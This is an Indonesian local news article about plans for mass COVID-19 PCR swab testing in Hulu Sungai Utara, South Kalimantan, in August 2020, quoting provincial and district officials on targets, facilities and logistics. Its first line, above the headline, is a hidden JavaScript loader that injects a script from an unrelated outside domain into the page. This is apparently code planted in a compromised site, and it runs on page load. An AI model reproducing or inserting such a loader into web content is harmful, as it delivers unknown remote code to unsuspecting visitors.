(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAI.COM, AMUNTAI – Pemerintah Provinsi Kalimantan Selatan (Kalsel) menargetkan sedikitnya 503 orang di Kabupaten Hulu Sungai Utara (HSU) bakal mengikuti tes masif Polymerase Chain Reaction (PCR) atau swab massal dari total target 10 ribu sampel se Kalsel yang akan di laksanakan 14 sampai 17 Agustus 2020 mendatang.
Demikian disampaikan Sekretaris BPBD Kalsel Iswantoro, saat memimpin rapat koordinasi tentang pelaksanaan swab masif di Kabupaten HSU secara virtual bersama Tim Gugus Tugas Percepatan Penanganan Covid-19 Kabupaten HSU di Mess Negara Dipa, Jum’at (7/8/2020).
Lebih jauh, hal tersebut dilakukan lantaran masih tingginya angka penyebaran Covid-19 di Kalsel, sehingga membuat Pemerintah Provinsi Kalsel melakukan berbagai upaya untuk memutus rantai penyebaran Covid-19 di antaranya melakukan tes swab masif tersebut.
“HSU ditargetkan 503 orang yang akan diambil sampel untuk memantau penyebaran Covid-19 di Provinsi Kalsel,” kata Iswantoro melalui virtual zoom meeting.
Pemprov Kalsel, kata Iswantoro berharap agar pemerintah daerah HSU mendukung kegiatan dimulai dengan sosialisasi ke masyarakat, menyediakan sarana dan prasarana, baik yang berkenaan dengan pelaksanaan test sendiri ataupun penanganan pasca test masif, serta menyiapkan tenaga kesehatan untuk pengambilan sampel test.
Menanggapi hal tersebut Bupati HSU H Abdul Wahid HK mengaku mengapresiasi rencana kegiatan swab masif itu.
Wahid menyatakan pihaknya selaku pemimpin daerah mempunyai tanggung jawab dan memastikan kesiapan apalagi kegiatan ini merupakan salah satu rangkaian kegiatan untuk menghentikan penyebaran Covid-19 di Kabupaten HSU.
“Berbagai persiapan sudah kami lakukan dari kegiatan sosialisasi, dimana untuk sosialisasi kegiatan ini kami sebagai pimpinan secara langsung menyampaikan ke tingkat bawah seperti ke camat, kepala desa, melalui media sosial, sehingga dapat diterima dengan cepat, begitu juga dengan TNI dan Polri ikut terlibat,” ungkap Bupati Wahid.
Menurut Wahid, saat ini untuk sarana dan fasilitas pihaknya telah menyiapkan di RSUD Pambalah Batung Amuntai dan untuk karantina seluruh kecamatan sudah siap sedia.
Kalaupun masih kurang, ia menambahkan pihaknya sudah menyepakati dengan pihak swasta dalam hal tempat isolasi dan kesiapkan ambulans khusus Covid-19 berserta sopir.
“Untuk transportasi sampel pun kami siapkan sehingga kapanpun diperlukan selalu siap walaupun tiap hari,” jelas Wahid.
Ia menambahkan bahwa HSU juga telah membeli peralatan swab test yang rencananya digunakan untuk masyarakat HSU.
“Insyaallah dalam minggu ini kami juga bisa melaksanakan tes swab bagi masyarakarat HSU, kami telah membeli alat PCR sendiri,” kata Wahid.
Sementara itu Kepala Dinas Kesehatan HSU dr Agus Fidliansyah menambahkan, untuk SDM dan tempat pelaksanaan tes swab masif ini telah disiapkan yaitu halaman kantor Dinkes.
“Tempat pelaksanaan tes kami rencanakan di halamanan kantor kami karena tempatnya luas dan terbuka, untuk SDM nya kami siapkan orang yang benar benar ahli di bidangnya,” ujarnya.(kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.